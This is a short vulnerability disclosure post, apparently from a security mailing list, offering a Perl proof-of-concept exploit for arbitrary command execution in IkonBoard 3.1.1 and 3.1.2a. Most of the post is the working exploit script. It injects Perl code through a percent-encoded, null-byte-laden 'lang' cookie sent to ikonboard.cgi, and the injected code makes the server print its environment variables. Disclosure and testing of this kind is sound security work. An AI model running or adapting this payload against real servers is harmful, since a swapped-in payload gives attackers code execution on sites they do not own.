Exploit: IkonBoard 3.1.1/3.1.2a arbitrary command execution

[Nick Cleaton <nick@cleaton.net>]

Here is a proof of concept exploit for an arbitrary command execution
vulnerability in IkonBoard versions 3.1.1 and 3.1.2a.  The exploit causes
an IkonBoard installation on a remote web server to print out its
environment.

See also:

    http://www.securityfocus.com/archive/1/317234
    http://www.securityfocus.com/archive/1/336598


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#!/usr/bin/perl -w
use strict;

my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
my $HEAD = qq|"Content-type: text/plain\r\n\r\n"|;

use IO::Socket;

my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";

my $val =
     qq|.\0"if print($HEAD,map"\$_ => \$ENV{\$_}\n",keys\%ENV)&&exit;#|;

$val =~ s#(\W)# sprintf '%%%.2X', ord $1 #ge;

$sock->print(
    "GET $PATH HTTP/1.1\r\n",
    "Host: $HOST\r\n",
    "Cookie: lang=$val\r\n",
    "Connection: close\r\n",
    "\r\n"
) or die "write: $!";

print while <$sock>;

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Nick Cleaton
nick@cleaton.net